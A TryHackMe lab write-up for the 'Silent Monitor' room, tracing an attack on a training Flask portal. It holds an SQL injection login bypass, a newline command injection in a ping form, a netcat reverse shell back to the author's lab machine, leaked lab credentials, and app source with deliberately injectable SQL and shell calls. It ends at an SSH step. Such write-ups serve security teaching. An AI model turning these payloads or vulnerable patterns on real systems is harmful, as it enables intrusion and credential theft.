Writeups/TryHackMe/Silent Monitor - TryHackMe Writeup
TryHackMeMediumRoom

Silent Monitor - TryHackMe Writeup

Silent Monitor TryHackMe writeup — SQL injection into CorpNet's NOC portal, newline command injection in a ping probe, leaked service credentials, and a cracked KeePass vault leading to root.

Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.

##Task 1 | Introduction

###Green Lights, Dark Corners

CorpNet's internal network operations centre has been running quietly for years. Monitoring hosts, logging events, and keeping the infrastructure alive. Or so it seems. A tip from a disgruntled contractor suggests that someone on the NOC team has been cutting corners, leaving doors open, and hiding things in places no one thinks to look.

The portal is up. The services show green. The audit log looks clean.

But clean logs can be written by anyone.

Your job is to get in, move through the system, and find out what is really running behind the secret dashboard.

##Answer the questions below

Q. What is the content of user.txt?

Ans.

Q. What is the content of root.txt?

Ans.


##Walkthrough

Initial Nmap scan -

bash
root@ip-10-48-111-205:~# nmap -p- -sT 10.48.140.32 -sV PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) 5050/tcp open http Werkzeug httpd 2.0.2 (Python 3.10.12) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have HTTP running on an unusual port - 5050

CorpNet NOC portal landing page on port 5050
CorpNet NOC portal landing page on port 5050

Not much on the webpage, let's perform directory bruteforcing using gobuster -

bash
root@ip-10-48-111-205:~# gobuster dir -u http://10.48.140.32:5050/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.48.140.32:5050/ [+] Method: GET [+] Threads: 200 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /internal (Status: 200) [Size: 8770]

Visiting the /internal path we see a login panel -

Login panel discovered at /internal
Login panel discovered at /internal

We don't have credentials, so I attempted a few SQL Injection queries and we got through -

http
POST /internal HTTP/1.1 Host: 10.48.140.32:5050 Content-Length: 55 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Origin: http://10.48.140.32:5050 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.48.140.32:5050/internal Accept-Encoding: gzip, deflate, br Connection: keep-alive username=1%27+OR+1%3D1+--+-&password=1%27+OR+1%3D1+--+-

Redirected to /dashboard -

http
GET /internal/dashboard HTTP/1.1 Host: 10.48.140.32:5050 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.48.140.32:5050/internal Accept-Encoding: gzip, deflate, br Cookie: session=eyJyb2xlIjoib3BlcmF0b3IiLCJ1c2VyIjoibmV0b3BzIn0.aj5GCw.qJdpshCFtNlJ7CjhtrzGnD7EK7o Connection: keep-alive HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 24981 Vary: Cookie Server: Werkzeug/2.0.2 Python/3.10.12 Date: Fri, 26 Jun 2026 09:27:41 GMT <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CorpNet NOC — Dashboard</title> </head> <body> <header class="topbar"> <a class="brand" href="/internal/dashboard"> <div class="brand-mark"><svg viewBox="0 0 16 16"><path d="M2 2h5v5H2zM9 2h5v5H9zM2 9h5v5H2zM11 9h2v2h2v2h-2v2h-2v-2H9v-2h2z"/></svg></div> <div class="brand-name">CorpNet NOC</div> </a> <div class="topbar-divider"></div> <div class="breadcrumb"> <span>Portal</span><span class="sep">/</span><span class="cur">Dashboard</span> </div> <div class="topbar-right"> <div class="user-chip"> <div class="user-avatar"><svg viewBox="0 0 16 16"><path d="M8 8a3 3 0 100-6 3 3 0 000 6zm-5 5a5 5 0 0110 0H3z"/></svg></div> <span class="user-name">netops</span> <span class="user-role">operator</span> </div> <a href="/internal/logout" class="btn-out"> <svg viewBox="0 0 16 16"><path d="M10 3h3v10h-3v-2H8v-1h2V6H8V5h2V3zM1 5h6v1H3v4h4v1H1V5z"/></svg> Sign Out </a> </div> </header> <div class="layout"> <nav class="sidebar"> <div class="sidebar-inner"> <div class="nav-grp"> <div class="nav-grp-lbl">Operations</div> <a href="/internal/dashboard" class="nav-a active"> <svg viewBox="0 0 16 16"><path d="M1 1h6v6H1zM9 1h6v6H9zM1 9h6v6H1zM9 9h6v6H9z"/></svg>Overview </a> <a href="/internal/health" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zm0 2a5 5 0 110 10A5 5 0 018 3zm-.5 2v4l3 1.5-.5.9L7 9.5V5h.5z"/></svg>Host Health <span class="nav-badge">3</span> </a> </div> <div class="nav-div"></div> <div class="nav-grp"> <div class="nav-grp-lbl">Monitoring</div> <a href="#audit" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M1 2h14v1H1zM1 5h10v1H1zM1 8h14v1H1zM1 11h10v1H1zM1 14h14v1H1z"/></svg>Audit Log </a> <a href="#services" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M2 4h12v8H2V4zm1 1v6h10V5H3z"/></svg>Services </a> </div> <div class="nav-div"></div> <div class="nav-grp"> <div class="nav-grp-lbl">Account</div> <a href="/internal/logout" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M10 3h3v10h-3v-2H8v-1h2V6H8V5h2V3zM1 5h6v1H3v4h4v1H1V5z"/></svg>Sign Out </a> </div> </div> <div class="sidebar-foot">NOC Portal v2.4.1</div> </nav> <main class="main"> <div class="page-hdr"> <div><h2>System Overview</h2><p>Network Operations Centre &mdash; Live Infrastructure Status</p></div> <div class="refresh-ts">Last refresh: 2026-01-15 07:56:14</div> </div> <div class="stats"> <div class="sc green"> <div class="sc-ico"><svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zm3.5 5.5l-4 4-2-2 1-1 1 1 3-3 1 1z"/></svg></div> <div class="sc-val">12</div><div class="sc-lbl">Hosts Online</div><div class="sc-sub">of 14 monitored</div> </div> <div class="sc red"> <div class="sc-ico"><svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zM7 4h2v5H7V4zm0 6h2v2H7v-2z"/></svg></div> <div class="sc-val">2</div><div class="sc-lbl">Unreachable</div><div class="sc-sub">ICMP timeout</div> </div> <div class="sc orange"> <div class="sc-ico"><svg viewBox="0 0 16 16"><path d="M8 1l7 13H1L8 1zm0 3L3 12h10L8 4zm-.5 3h1v3h-1V7zm0 4h1v1.5h-1V11z"/></svg></div> <div class="sc-val">3</div><div class="sc-lbl">Open Alerts</div><div class="sc-sub">1 critical, 2 warning</div> </div> <div class="sc blue"> <div class="sc-ico"><svg viewBox="0 0 16 16"><path d="M1 2h14v12H1V2zm1 1v10h12V3H2zm2 2h8v1H4V5zm0 2h8v1H4V7zm0 2h5v1H4V9z"/></svg></div> <div class="sc-val">27</div><div class="sc-lbl">Log Entries</div><div class="sc-sub">displayed below</div> </div> </div> <div class="two-col" id="services"> <div class="panel"> <div class="ph"><div class="ph-l"><svg viewBox="0 0 16 16"><path d="M2 4h12v8H2V4zm1 1v6h10V5H3z"/></svg><span class="ph-t">Service Status</span></div><span class="badge bg-blue">LIVE</span></div> <div class="svc-list"> <div class="svc-row"><div class="dot8 s-up"></div><span class="svc-n">SSH Daemon</span><span class="svc-a">0.0.0.0:22</span><span class="svc-ms">&lt;1ms</span></div> <div class="svc-row"><div class="dot8 s-up"></div><span class="svc-n">NOC API</span><span class="svc-a">0.0.0.0:5050</span><span class="svc-ms">2ms</span></div> <div class="svc-row"><div class="dot8 s-up"></div><span class="svc-n">SNMP Collector</span><span class="svc-a">127.0.0.1:161</span><span class="svc-ms">4ms</span></div> <div class="svc-row"><div class="dot8 s-warn"></div><span class="svc-n">Backup Agent</span><span class="svc-a">127.0.0.1:8812</span><span class="svc-ms">—</span></div> <div class="svc-row"><div class="dot8 s-down"></div><span class="svc-n">Syslog Collector</span><span class="svc-a">0.0.0.0:514</span><span class="svc-ms">timeout</span></div> </div> </div> <div class="panel"> <div class="ph"><div class="ph-l"><svg viewBox="0 0 16 16"><path d="M1 5h14v6H1V5zm1 1v4h12V6H2z"/></svg><span class="ph-t">Network Segments</span></div><span class="badge bg-gray">4 segments</span></div> <div class="svc-list"> <div class="svc-row"><div class="dot8 s-up"></div><span class="svc-n">Management</span><span class="svc-a">10.0.0.0/24</span><span class="svc-ms">12 hosts</span></div> <div class="svc-row"><div class="dot8 s-up"></div><span class="svc-n">Server VLAN</span><span class="svc-a">10.0.1.0/24</span><span class="svc-ms">8 hosts</span></div> <div class="svc-row"><div class="dot8 s-warn"></div><span class="svc-n">DMZ</span><span class="svc-a">10.0.2.0/24</span><span class="svc-ms">3 hosts</span></div> <div class="svc-row"><div class="dot8 s-up"></div><span class="svc-n">User VLAN</span><span class="svc-a">10.0.10.0/23</span><span class="svc-ms">47 hosts</span></div> <div class="svc-row"><div class="dot8 s-down"></div><span class="svc-n">OOB Management</span><span class="svc-a">192.168.100.0/24</span><span class="svc-ms">timeout</span></div> </div> </div> </div> <div class="panel" id="audit"> <div class="ph"><div class="ph-l"><svg viewBox="0 0 16 16"><path d="M1 2h14v1H1zM1 5h10v1H1zM1 8h14v1H1zM1 11h10v1H1zM1 14h14v1H1z"/></svg><span class="ph-t">Audit Log</span></div><span class="badge bg-gray">27 entries</span></div> <div class="tbl-wrap"> <table> <thead><tr><th>Timestamp</th><th>Operator</th><th>Event</th><th>Detail</th></tr></thead> <tbody> <tr> <td class="mono td-dim">2026-05-19 03:16:04</td> <td class="mono">netops</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">127.0.0.1%0awhoami</td> </tr> <tr> <td class="mono td-dim">2026-05-19 03:15:52</td> <td class="mono">netops</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">127.0.0.10%awhoami</td> </tr> <tr> <td class="mono td-dim">2026-05-19 03:15:39</td> <td class="mono">netops</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">127.0.0.1</td> </tr> <tr> <td class="mono td-dim">2026-05-19 03:15:05</td> <td class="mono">netops</td> <td> <span class="badge bg-green">LOGIN_OK</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-05-19 03:14:38</td> <td class="mono">&#39; OR 1=1#</td> <td> <span class="badge bg-red">LOGIN_ERROR</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-05-19 03:14:36</td> <td class="mono">&#39; OR 1=1#</td> <td> <span class="badge bg-red">LOGIN_ERROR</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-05-19 03:14:09</td> <td class="mono">admin&#39; --</td> <td> <span class="badge bg-red">LOGIN_FAIL</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 08:03:11</td> <td class="mono">jmartin</td> <td> <span class="badge bg-green">LOGIN_OK</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 08:04:02</td> <td class="mono">jmartin</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.1.4</td> </tr> <tr> <td class="mono td-dim">2026-01-14 08:04:28</td> <td class="mono">jmartin</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.1.7</td> </tr> <tr> <td class="mono td-dim">2026-01-14 08:31:55</td> <td class="mono">jmartin</td> <td> <span class="badge bg-gray">LOGOUT</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 09:17:40</td> <td class="mono">netops</td> <td> <span class="badge bg-green">LOGIN_OK</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 09:18:03</td> <td class="mono">netops</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.0.1</td> </tr> <tr> <td class="mono td-dim">2026-01-14 09:19:47</td> <td class="mono">netops</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.2.12</td> </tr> <tr> <td class="mono td-dim">2026-01-14 09:44:22</td> <td class="mono">netops</td> <td> <span class="badge bg-gray">LOGOUT</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 10:00:01</td> <td class="mono">svc-mon</td> <td> <span class="badge bg-green">LOGIN_OK</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 10:00:04</td> <td class="mono">svc-mon</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.1.1</td> </tr> <tr> <td class="mono td-dim">2026-01-14 10:00:07</td> <td class="mono">svc-mon</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.1.2</td> </tr> <tr> <td class="mono td-dim">2026-01-14 10:00:10</td> <td class="mono">svc-mon</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.1.3</td> </tr> <tr> <td class="mono td-dim">2026-01-14 10:00:13</td> <td class="mono">svc-mon</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.1.4</td> </tr> <tr> <td class="mono td-dim">2026-01-14 10:00:16</td> <td class="mono">svc-mon</td> <td> <span class="badge bg-gray">LOGOUT</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 11:02:38</td> <td class="mono">jmartin</td> <td> <span class="badge bg-red">LOGIN_FAIL</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 11:02:51</td> <td class="mono">jmartin</td> <td> <span class="badge bg-green">LOGIN_OK</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-14 11:03:14</td> <td class="mono">jmartin</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.2.5</td> </tr> <tr> <td class="mono td-dim">2026-01-14 11:28:07</td> <td class="mono">jmartin</td> <td> <span class="badge bg-gray">LOGOUT</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-15 07:55:30</td> <td class="mono">netops</td> <td> <span class="badge bg-green">LOGIN_OK</span> </td> <td class="td-dim">—</td> </tr> <tr> <td class="mono td-dim">2026-01-15 07:56:01</td> <td class="mono">netops</td> <td> <span class="badge bg-blue">HEALTH_CHECK</span> </td> <td class="td-dim">10.0.0.254</td> </tr> </tbody> </table> </div> </div> </main> </div> </body> </html>

After we are logged in, we can see a Host Health Check page -

Host Health Check page with the connectivity probe
Host Health Check page with the connectivity probe

http
POST /internal/health HTTP/1.1 Host: 10.48.140.32:5050 Content-Length: 20 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Origin: http://10.48.140.32:5050 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.48.140.32:5050/internal/health Accept-Encoding: gzip, deflate, br Cookie: session=eyJyb2xlIjoib3BlcmF0b3IiLCJ1c2VyIjoibmV0b3BzIn0.aj5GCw.qJdpshCFtNlJ7CjhtrzGnD7EK7o Connection: keep-alive target=10.48.111.205 HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 14989 Vary: Cookie Server: Werkzeug/2.0.2 Python/3.10.12 Date: Fri, 26 Jun 2026 09:35:11 GMT <!DOCTYPE html> <html lang="en"> <div class="layout"> <nav class="sidebar"> <div class="sidebar-inner"> <div class="nav-grp"> <div class="nav-grp-lbl">Operations</div> <a href="/internal/dashboard" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M1 1h6v6H1zM9 1h6v6H9zM1 9h6v6H1zM9 9h6v6H9z"/></svg>Overview </a> <a href="/internal/health" class="nav-a active"> <svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zm0 2a5 5 0 110 10A5 5 0 018 3zm-.5 2v4l3 1.5-.5.9L7 9.5V5h.5z"/></svg>Host Health <span class="nav-badge">3</span> </a> </div> <div class="nav-div"></div> <div class="nav-grp"> <div class="nav-grp-lbl">Monitoring</div> <a href="/internal/dashboard#audit" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M1 2h14v1H1zM1 5h10v1H1zM1 8h14v1H1zM1 11h10v1H1zM1 14h14v1H1z"/></svg>Audit Log </a> <a href="/internal/dashboard#services" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M2 4h12v8H2V4zm1 1v6h10V5H3z"/></svg>Services </a> </div> <div class="nav-div"></div> <div class="nav-grp"> <div class="nav-grp-lbl">Account</div> <a href="/internal/logout" class="nav-a"> <svg viewBox="0 0 16 16"><path d="M10 3h3v10h-3v-2H8v-1h2V6H8V5h2V3zM1 5h6v1H3v4h4v1H1V5z"/></svg>Sign Out </a> </div> </div> <div class="sidebar-foot">NOC Portal v2.4.1</div> </nav> <main class="main"> <div class="page-hdr"> <h2>Host Health Check</h2> <p>ICMP reachability probe &mdash; verify connectivity to a target host or IP address</p> </div> <div class="panel"> <div class="ph"><div class="ph-l"><svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zm0 2a5 5 0 110 10A5 5 0 018 3zm-.5 2v4l3 1.5-.5.9L7 9.5V5h.5z"/></svg><span class="ph-t">Connectivity Probe</span></div></div> <div class="panel-body"> <div class="preset-row"> <span class="preset-lbl">Quick:</span> <button class="preset-btn" onclick="setTarget('127.0.0.1')">127.0.0.1</button> <button class="preset-btn" onclick="setTarget('10.0.0.1')">10.0.0.1</button> <button class="preset-btn" onclick="setTarget('10.0.1.1')">10.0.1.1</button> <button class="preset-btn" onclick="setTarget('10.0.2.1')">10.0.2.1</button> <button class="preset-btn" onclick="setTarget('10.0.10.1')">10.0.10.1</button> </div> <form method="POST" action="/internal/health"> <div class="probe-form"> <div class="field"> <label class="field-lbl" for="target">Target Hostname or IP Address</label> <div class="input-wrap"> <input type="text" id="target" name="target" placeholder="hostname or x.x.x.x" value="10.48.111.205" autocomplete="off" spellcheck="false"> <svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zm0 2a5 5 0 110 10A5 5 0 018 3z"/></svg> </div> <div class="field-hint">IPv4 (e.g. 192.168.1.1) or hostname (e.g. server-01.corp.internal)</div> </div> <button type="submit" class="btn-run"> <svg viewBox="0 0 16 16"><path d="M3 2l11 6-11 6V2z"/></svg>Run Probe </button> </div> </form> <div class="output-block"> <div class="output-bar"> <span class="cmd">$ ping -c 2 -W 1 10.48.111.205</span> <span class="lbl">stdout</span> </div> <pre class="output-pre">PING 10.48.111.205 (10.48.111.205) 56(84) bytes of data. 64 bytes from 10.48.111.205: icmp_seq=1 ttl=64 time=0.251 ms 64 bytes from 10.48.111.205: icmp_seq=2 ttl=64 time=0.261 ms --- 10.48.111.205 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1050ms rtt min/avg/max/mdev = 0.251/0.256/0.261/0.005 ms </pre> </div> </div> </div> <div class="panel"> <div class="ph"><div class="ph-l"><svg viewBox="0 0 16 16"><path d="M8 1a7 7 0 100 14A7 7 0 008 1zM7 4h2v5H7V4zm0 6h2v2H7v-2z"/></svg><span class="ph-t">Usage Notes</span></div></div> <div class="notes-list"> <div class="note-row">Sends 2 ICMP echo requests with a 1-second per-packet timeout</div> <div class="note-row">Accepts RFC-952 compliant hostnames and dotted-decimal IPv4 addresses</div> <div class="note-row">All probe targets are recorded in the operator audit log</div> <div class="note-row">ICMP traffic may be filtered by host-based firewalls on monitored nodes</div> </div> </div> </main> </div> <script> function setTarget(v) { document.getElementById("target").value = v; } </script> </body> </html>

Sending request to our IP, it does send pings. No direct command injection was possible. But, after a few tries, we were able to get it -

text
target=127.0.0.1%0aid <pre class="output-pre">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.025 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.037 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1046ms rtt min/avg/max/mdev = 0.025/0.031/0.037/0.006 ms uid=33(www-data) gid=33(www-data) groups=33(www-data) </pre>

Now, let's enumerate and try to get a reverse shell -

text
target=127.0.0.1%0awhich%0anc PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.032 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1038ms rtt min/avg/max/mdev = 0.023/0.027/0.032/0.004 ms usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m minttl] [-O length] [-P proxy_username] [-p source_port] [-q seconds] [-s sourceaddr] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]

Let's get a reverse shell using netcat, first start a listener on your machine -

bash
nc -lnvp 1337

Next, send the following payload -

text
target=127.0.0.1%0abusybox%20nc%2010.48.111.205%201337%20-e%20sh

And you'll get a reverse shell on your machine. Now, stabilize the shell with -

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Reverse shell as www-data after newline command injection
Reverse shell as www-data after newline command injection

Let's read these files and see if we have something useful -

ini
cat secret.config # netops application config # generated: 2026-01-03 [database] path = /opt/netops/netops.db timeout = 5 [app] host = 0.0.0.0 port = 5050 log_path = /var/log/netops/app.log [auth] session_lifetime = 1800 # service account used by the backup agent # TODO: migrate to secrets manager before Q2 audit [backup_agent] run_as = sysadmin password = S3cur3Backup$Acc3ss! [smtp] host = 127.0.0.1 port = 25 from = noc-alerts@corp.internal www-data@tryhackme-2204:/opt/netops$

We found the user sysadmin and password - S3cur3Backup$Acc3ss!

We need to read the netops.db .

bash
www-data@tryhackme-2204:/opt/netops$ python3 -c "import sqlite3; db=sqlite3.connect('/opt/netops/netops.db'); c=db.cursor(); c.execute('SELECT * FROM users'); print(c.fetchall())" python3 -c "import sqlite3; db=sqlite3.connect('/opt/netops/netops.db'); c=db.cursor(); c.execute('SELECT * FROM users'); print(c.fetchall())" [(1, 'netops', 'b9b3917940feb033ae62c693d3967ba4', 'operator')] www-data@tryhackme-2204:/opt/netops$

Also, app.py -

python
cat app.py #!/usr/bin/env python3 import os import re import sqlite3 import subprocess import hashlib from functools import wraps from flask import ( Flask, request, render_template, redirect, url_for, session, g ) app = Flask(__name__) app.secret_key = os.environ.get("FLASK_SECRET") if not app.secret_key: raise RuntimeError("FLASK_SECRET environment variable not set") DATABASE = "/opt/netops/netops.db" def get_db(): db = getattr(g, "_database", None) if db is None: db = g._database = sqlite3.connect(DATABASE) db.row_factory = sqlite3.Row return db @app.teardown_appcontext def close_db(exc): db = getattr(g, "_database", None) if db is not None: db.close() def init_db(): db = sqlite3.connect(DATABASE) db.execute(""" CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, role TEXT NOT NULL DEFAULT 'viewer' ) """) db.execute(""" CREATE TABLE IF NOT EXISTS audit_log ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, action TEXT, detail TEXT, ts TEXT ) """) pw = hashlib.md5(b"C0rp$N3tS3cur3!").hexdigest() db.execute( "INSERT OR IGNORE INTO users (username, password, role) VALUES (?,?,?)", ("netops", pw, "operator") ) db.commit() db.close() def log_action(username, action, detail=""): pass def login_required(f): @wraps(f) def decorated(*args, **kwargs): if not session.get("user"): return redirect(url_for("login")) return f(*args, **kwargs) return decorated # need to modify this filter. BLOCK_RE = re.compile( r"(union\s+select|drop\s+table|insert\s+into|xp_cmdshell)", re.IGNORECASE ) FAKE_AUDIT = [ ("jmartin", "LOGIN_OK", "", "2026-01-14 08:03:11"), ("jmartin", "HEALTH_CHECK", "10.0.1.4", "2026-01-14 08:04:02"), ("jmartin", "HEALTH_CHECK", "10.0.1.7", "2026-01-14 08:04:28"), ("jmartin", "LOGOUT", "", "2026-01-14 08:31:55"), ("netops", "LOGIN_OK", "", "2026-01-14 09:17:40"), ("netops", "HEALTH_CHECK", "10.0.0.1", "2026-01-14 09:18:03"), ("netops", "HEALTH_CHECK", "10.0.2.12", "2026-01-14 09:19:47"), ("netops", "LOGOUT", "", "2026-01-14 09:44:22"), ("svc-mon", "LOGIN_OK", "", "2026-01-14 10:00:01"), ("svc-mon", "HEALTH_CHECK", "10.0.1.1", "2026-01-14 10:00:04"), ("svc-mon", "HEALTH_CHECK", "10.0.1.2", "2026-01-14 10:00:07"), ("svc-mon", "HEALTH_CHECK", "10.0.1.3", "2026-01-14 10:00:10"), ("svc-mon", "HEALTH_CHECK", "10.0.1.4", "2026-01-14 10:00:13"), ("svc-mon", "LOGOUT", "", "2026-01-14 10:00:16"), ("jmartin", "LOGIN_FAIL", "", "2026-01-14 11:02:38"), ("jmartin", "LOGIN_OK", "", "2026-01-14 11:02:51"), ("jmartin", "HEALTH_CHECK", "10.0.2.5", "2026-01-14 11:03:14"), ("jmartin", "LOGOUT", "", "2026-01-14 11:28:07"), ("netops", "LOGIN_OK", "", "2026-01-15 07:55:30"), ("netops", "HEALTH_CHECK", "10.0.0.254", "2026-01-15 07:56:01"), ] @app.route("/") def index(): return render_template("index.html") @app.route("/internal", methods=["GET", "POST"]) def login(): error = None if request.method == "POST": username = request.form.get("username", "") password = request.form.get("password", "") if BLOCK_RE.search(username) or BLOCK_RE.search(password): log_action(username, "LOGIN_BLOCKED") error = "Invalid username or password." else: pw_hash = hashlib.md5(password.encode()).hexdigest() # Vulnerable: direct string interpolation — no parameterisation query = ( "SELECT id, username, role FROM users " "WHERE username = '%s' AND password = '%s'" ) % (username, pw_hash) try: db = get_db() row = db.execute(query).fetchone() if row: session["user"] = row["username"] session["role"] = row["role"] log_action(row["username"], "LOGIN_OK") return redirect(url_for("dashboard")) else: error = "Invalid username or password." log_action(username, "LOGIN_FAIL") except Exception: error = "Invalid username or password." log_action(username, "LOGIN_ERROR") return render_template("login.html", error=error) @app.route("/internal/dashboard") @login_required def dashboard(): db = get_db() real_logs = db.execute( "SELECT username, action, detail, ts FROM audit_log " "ORDER BY ts DESC LIMIT 8" ).fetchall() combined = [(r["username"], r["action"], r["detail"], r["ts"]) for r in real_logs] combined += list(FAKE_AUDIT) return render_template( "dashboard.html", current_user=session["user"], role=session["role"], logs=combined ) # vulnerable to newline injection (\n / %0a), fix soon. PING_BLOCK_RE = re.compile(r"[;|`$&]") @app.route("/internal/health", methods=["GET", "POST"]) @login_required def health_check(): output = None cmd_err = None target = "" if request.method == "POST": target = request.form.get("target", "").strip() if not target: cmd_err = "No target specified." elif len(target) > 100: cmd_err = "Invalid hostname or IP address." elif PING_BLOCK_RE.search(target): cmd_err = "Invalid hostname or IP address." else: try: proc = subprocess.Popen( "ping -c 2 -W 1 " + target, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True ) try: output, _ = proc.communicate(timeout=8) except subprocess.TimeoutExpired: proc.stdout.close() output = "[process running in background]" log_action(session["user"], "HEALTH_CHECK", target.split("\n")[0]) except Exception: cmd_err = "An error occurred." return render_template( "health.html", current_user=session["user"], role=session["role"], output=output, error=cmd_err, target=target ) @app.route("/internal/logout") def logout(): user = session.get("user", "unknown") session.clear() log_action(user, "LOGOUT") return redirect(url_for("login")) @app.errorhandler(404) def not_found(e): return render_template("404.html"), 404 @app.errorhandler(403) def forbidden(e): return render_template("404.html"), 403 if __name__ == "__main__": init_db() app.run(host="0.0.0.0", port=5050, debug=False)

We have password for user netops - C0rp$N3tS3cur3!

Now, let's SSH with user sysadmin and password - S3cur3Backup$Acc3ss!

bash
